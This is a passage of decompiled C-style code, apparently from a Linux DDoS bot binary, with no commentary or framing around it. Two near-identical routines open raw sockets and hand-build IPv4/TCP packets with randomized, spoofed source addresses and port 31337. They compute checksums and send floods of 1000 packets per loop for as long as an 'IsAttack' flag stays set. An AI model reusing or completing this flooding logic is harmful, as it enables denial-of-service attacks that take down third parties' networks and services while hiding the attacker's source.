                            _v2824 = (_v52[2]) & 65535 & 65535;
                            _t1800 = L08052C20(__esi, _v68,  &_v504);
                            _v32 = _v32 + 1;
                            continue;
                        }
                        goto L86;
                    }
                }
            }
        }
    }
L86:
    L08052A50(_v68);
    _t1398 = L08051050();
    L08051000(_t1398);
     *__esp = 0;
    L08050FE0();
    goto L87;
L87:
    _push(_t2690);
    _t2691 = __esp;
    _push(_t2674);
    _push(__esi);
    _push(_t2342);
    __esp = __esp - 700;
    L0806F910( &_v3056, 156);
    L0806F9E0(_t2674, __esi,  &_v3056, _v2828, 156);
    _v2898 = 16;
    _v3544 = 16;
    _t1405 =  &_v3476;
     *__esp = _t1405;
    L0806F910();
    _v3540 = 6;
    L08073680(_t2342, __esp, 2, 3);
    _v2896 = _t1405;
    _v3476 = 2;
    _t1407 =  &_v3056 + 16;
    L08075250(_t1407);
    _v2892 = _t1407;
    if(_v2892 != 0) {
        _t1597 = L0806E4D0( &_v240 + 16, "0.0.0.0");
        if(_t1597 == 0) {
        } else {
            _v72 = 0;
            _v72 = _v228;
            if(_v72 <= 0 || _v72 > 86400) {
                _v72 = 20;
            }
            _v656 =  *( *( *(_v76 + 16)));
            _v68 = 20;
            _v64 =  &_v516;
            _v60 =  &_v516 + 20;
            _v56 =  &_v516 + 40;
             *_v64 =  *_v64 & 255 & 240 | 5;
             *_v64 =  *_v64 & 255 & 15 | 64;
            (_v64[1]) = 0;
            (_v64[2]) = 60;
             *__esp = 31337;
            _t1616 = L08075240(__esp);
            (_v64[4]) = _t1616;
            (_v64[6]) = 0;
            (_v64[8]) = 250;
            (_v64[9]) = 6;
            (_v64[0xa]) = 0;
            (_v64[0x10]) = _v656;
             *__esp = _v96 & 65535;
            _t1625 = L08075240(__esp);
             *((short*)(_v60 + 2)) = _t1625;
             *__esp = 31337;
            _t1627 = L08075230(__esp);
             *((intOrPtr*)(_v60 + 4)) = _t1627;
             *__esp = 0;
            _t1629 = L08075230(__esp);
             *((intOrPtr*)(_v60 + 8)) = _t1629;
             *(_v60 + 12) =  *(_v60 + 12) & 255 & 240;
             *(_v60 + 12) =  *(_v60 + 12) & 255 & 15 | 160;
             *(_v60 + 13) = _v82 & 65535;
             *__esp = 57344;
            _t1638 = L08075240(__esp);
             *((short*)(_v60 + 14)) = _t1638;
             *((short*)(_v60 + 16)) = 0;
             *(_v60 + 18) = 0;
            if((_v68 & 3) != 0) {
                _v68 = (_v68 + (_v68 >> 31 >> 30) & 3) - (_v68 >> 31 >> 30) + 1 << 2;
            }
            _v68 = 40;
            _v664 = 1;
            _v52 =  &_v664;
            _v3532 = 4;
            _v3536 = _v52;
            _v3540 = 3;
            _v3544 = 0;
            _t1646 = _v80;
             *__esp = _t1646;
            L08073640(_t2342, __esp);
            if(_t1646 >= 0) {
            } else {
                _v48 = 0;
                while(1) {
                    _t1647 = IsAttack;
                    if(_t1647 == 0) {
                        break;
                    }
                    _v44 = 0;
                    while(_v44 <= 999) {
                        L0805EBE0();
                        _t2387 = _t1647;
                        _v696 = -2147450879;
                        _v688 = ((_v696 * _t2387 >> 32) + _t2387 >> 15) - (_t2387 >> 31);
                        _v688 = _t2387 - (_v688 << 16) - _v688;
                         *__esp = _v688;
                        _t1657 = L08075230(__esp);
                        _t1658 = _v60;
                         *((intOrPtr*)(_t1658 + 4)) = _t1657;
                        L0805EBE0();
                        _t2388 = _t1658;
                        _v696 = -2147450879;
                        _v684 = ((_v696 * _t2388 >> 32) + _t2388 >> 15) - (_t2388 >> 31);
                        _v684 = _t2388 - (_v684 << 16) - _v684;
                         *__esp = _v684 & 65535 & 65535;
                        _t1669 = L08075240(__esp);
                        _t1670 = _v60;
                         *((short*)(_t1670 + 14)) = _t1669;
                        L0805EBE0();
                        _t2389 = _t1670;
                        _v696 = -2147450879;
                        _t2342 = ((_v696 * _t2389 >> 32) + _t2389 >> 15) - (_t2389 >> 31);
                        _v680 = _t2342;
                        _t2674 = _t2389 - (_v680 << 16) - _v680;
                        _v680 = _t2389 - (_v680 << 16) - _v680;
                         *_v60 = _v680 & 65535;
                        _t1681 = _v88 - _v92;
                        _v40 = _t1681;
                        if(_v40 <= 0) {
                            goto L107;
                        } else {
                            L0805EBE0();
                            _v36 = _t1681 % _v40 + _v92;
                            L0806F850(_t2342, _t2674, __esi,  &_v260, 0, 20);
                            _v3528 = _v36 & 255;
                            _v3532 = _v36 >> 8 & 255;
                            _v3536 = _v36 >> 16 & 255;
                            L0805FF50( &_v260, "%d.%d.%d.%d", _v36 >> 24);
                            _t1698 = L08073B40( &_v260);
                            (_v64[0xc]) = _t1698;
                            L0806F850(_v36 >> 16 & 255, _t2674, __esi,  &_v644, 0, 128);
                            L0806F9E0(_t2674, __esi,  &_v644,  &(_v64[0xc]), 4);
                            L0806F9E0(_t2674, __esi,  &((char*)( &_v644)[2]),  &(_v64[0x10]), 4);
                            _v636 = 0;
                            _v635 = (_v64[9]) & 255;
                            _v634 = _v68 >> 8;
                            _v633 = _v68;
                            L0806F9E0(_t2674, __esi,  &((char*)( &_v644)[6]), _v60, 20);
                            L0806F9E0(_t2674, __esi,  &((char*)( &_v644)[0x10]), _v56, 8);
                            _t1726 = csum( &_v644, _v68 + 12);
                             *((short*)(_v60 + 16)) = _t1726;
                            _t2342 =  &_v660;
                            _t1729 = (_v64[2]) & 65535;
                            __esi = _t1729 & 65535;
                            L0805EBE0();
                            _t2393 = _t1729;
                            _v696 = -1600085855;
                            _t2508 = _v696 * _t2393 >> 32;
                            _t1734 = _t2393 >> 31;
                            _t2674 = (_t2508 + _t2393 >> 7) - _t1734;
                            _v676 = (_t2508 + _t2393 >> 7) - _t1734;
                            _v676 = _t2393 - _t1734 * _v676;
                            _v3528 = 16;
                            _v3532 = _t2342;
                            _v3536 = 0;
                            _v3540 = __esi + _v676 + 800;
                            _t1647 = L08052C20(__esi, _v80,  &_v516);
                            _v44 = _v44 + 1;
                            continue;
                        }
                        goto L107;
                    }
                }
            }
        }
    }
L107:
    L08052A50(_v80);
    _t1410 = L08051050();
    L08051000(_t1410);
     *__esp = 0;
    L08050FE0();
    goto L108;
L108:
    _push(_t2691);
    _t2692 = __esp;
    _push(__esi);
    _push(_t2342);
    __esp = __esp - 704;
    L0806F910( &_v3780, 160);
    L0806F9E0(_t2674, __esi,  &_v3780, _v3544, 160);
    _v3618 = 16;
    _v4260 = 16;
    _t1417 =  &_v4200;
     *__esp = _t1417;
    L0806F910();
    _v4256 = 6;
    L08073680(_t2342, __esp, 2, 3);
    _v3616 = _t1417;
    _v4200 = 2;
    _v3612 = _v3768;
    if(_v3612 <= 60 || _v84 > 800) {
        _v84 = 61;
    }
    _v80 = _v84 - 60;
    _t1422 =  &_v252 + 20;
    L08075250(_t1422);
    _v76 = _t1422;
    if(_v76 != 0) {
        _t1448 = L0806E4D0( &_v252 + 20, "0.0.0.0");
        if(_t1448 == 0) {
        } else {
            _v72 = 0;
            _v72 = _v236;
            if(_v72 <= 0 || _v72 > 86400) {
                _v72 = 20;
            }
            _v668 =  *( *( *(_v76 + 16)));
            _v68 = 20;
            _v64 =  &_v528;
            _v60 =  &_v528 + 20;
            _v56 =  &_v528 + 40;
             *_v64 =  *_v64 & 255 & 240 | 5;
             *_v64 =  *_v64 & 255 & 15 | 64;
            (_v64[1]) = 0;
            (_v64[2]) = 60;
             *__esp = 31337;
            _t1467 = L08075240(__esp);
            (_v64[4]) = _t1467;
            (_v64[6]) = 0;
            (_v64[8]) = 250;
            (_v64[9]) = 6;
            (_v64[0xa]) = 0;
            (_v64[0x10]) = _v668;
             *__esp = _v104 & 65535;
            _t1476 = L08075240(__esp);
             *((short*)(_v60 + 2)) = _t1476;
             *__esp = 31337;
            _t1478 = L08075230(__esp);
             *((intOrPtr*)(_v60 + 4)) = _t1478;
             *__esp = 0;
            _t1480 = L08075230(__esp);
             *((intOrPtr*)(_v60 + 8)) = _t1480;
             *(_v60 + 12) =  *(_v60 + 12) & 255 & 240;
             *(_v60 + 12) =  *(_v60 + 12) & 255 & 15 | 160;
             *(_v60 + 13) = _v90 & 65535;
             *__esp = 57344;
            _t1489 = L08075240(__esp);
             *((short*)(_v60 + 14)) = _t1489;
             *((short*)(_v60 + 16)) = 0;
             *(_v60 + 18) = 0;
            if((_v68 & 3) != 0) {
                _v68 = (_v68 + (_v68 >> 31 >> 30) & 3) - (_v68 >> 31 >> 30) + 1 << 2;
            }
            _v68 = 40;
            _v676 = 1;
            _v52 =  &_v676;
            _v4248 = 4;
            _v4252 = _v52;
            _v4256 = 3;
            _v4260 = 0;
            _t1497 = _v88;
             *__esp = _t1497;
            L08073640(_t2342, __esp);
            if(_t1497 >= 0) {
            } else {
                _v48 = 0;
                while(1) {
                    _t1498 = IsAttack;
                    if(_t1498 == 0) {
                        break;
                    }
                    _v44 = 0;
                    while(_v44 <= 999) {
                        L0805EBE0();
                        _t2379 = _t1498;
                        _v712 = -2147450879;
                        _v700 = ((_v712 * _t2379 >> 32) + _t2379 >> 15) - (_t2379 >> 31);
                        _v700 = _t2379 - (_v700 << 16) - _v700;
                         *__esp = _v700;
                        _t1508 = L08075230(__esp);
                        _t1509 = _v60;
                         *((intOrPtr*)(_t1509 + 4)) = _t1508;
                        L0805EBE0();
                        _t2380 = _t1509;
                        _v712 = -2147450879;
                        _v696 = ((_v712 * _t2380 >> 32) + _t2380 >> 15) - (_t2380 >> 31);
                        _v696 = _t2380 - (_v696 << 16) - _v696;
                         *__esp = _v696 & 65535 & 65535;
                        _t1520 = L08075240(__esp);
                        _t1521 = _v60;
                         *((short*)(_t1521 + 14)) = _t1520;
                        L0805EBE0();
                        _t2381 = _t1521;
                        _v712 = -2147450879;
                        _t2457 = _v712 * _t2381 >> 32;
                        _t2348 = (_t2457 + _t2381 >> 15) - (_t2381 >> 31);
                        _v692 = (_t2457 + _t2381 >> 15) - (_t2381 >> 31);
                        _v692 = _t2381 - (_v692 << 16) - _v692;
                         *_v60 = _v692 & 65535;
                        _t1532 = _v96 - _v100;
                        _v40 = _t1532;
                        if(_v40 <= 0) {
                            goto L131;
                        } else {
                            L0805EBE0();
                            _v36 = _t1532 % _v40 + _v100;
                            L0806F850(_t2348, _t2674, __esi,  &_v272, 0, 20);
                            _v4244 = _v36 & 255;
                            _v4248 = _v36 >> 8 & 255;
                            _v4252 = _v36 >> 16 & 255;
                            L0805FF50( &_v272, "%d.%d.%d.%d", _v36 >> 24);
                            _t1549 = L08073B40( &_v272);
                            (_v64[0xc]) = _t1549;
                            L0806F850(_v36 >> 16 & 255, _t2674, __esi,  &_v656, 0, 128);
                            L0806F9E0(_t2674, __esi,  &_v656,  &(_v64[0xc]), 4);
                            L0806F9E0(_t2674, __esi,  &((char*)( &_v656)[2]),  &(_v64[0x10]), 4);
                            _v648 = 0;
                            _v647 = (_v64[9]) & 255;
                            _v646 = _v68 >> 8;
                            _v645 = _v68;
                            L0806F9E0(_t2674, __esi,  &((char*)( &_v656)[6]), _v60, 20);
                            L0806F9E0(_t2674, __esi,  &((char*)( &_v656)[0x10]), _v56, 8);
                            _t1577 = csum( &_v656, _v68 + 12);
                             *(_v60 + 16) = _t1577;
                            __esi =  &_v672;
                            L0805EBE0();
                            _v4244 = 16;
                            _v4248 = __esi;
                            _v4252 = 0;
                            _v4256 = ((_v64[2]) & 65535 & 65535) + ((_v64[2]) & 65535) % _v80;
                            _t1498 = L08052C20(__esi, _v88,  &_v528);
                            _v44 = _v44 + 1;
                            continue;
                        }
                        goto L131;
                    }
                }
            }
        }
    }
L131:
    L08052A50(_v88);
    _t1425 = L08051050();
    L08051000(_t1425);
     *__esp = 0;
    L08050FE0();
    goto L132;
L132:
    _push(_t2692);
    __esp = __esp - 16;
    _v4280 = _v4256;
    _v4276 = _v4260;
    _v4272 = 0;
    _v4282 = 0;
    while(_v40 > 1) {
        _v32 = _v32 + ( *_v36 & 65535 & 65535);
        _v36 = _v36 + 2;
        _v40 = _v40 - 2;
    }
}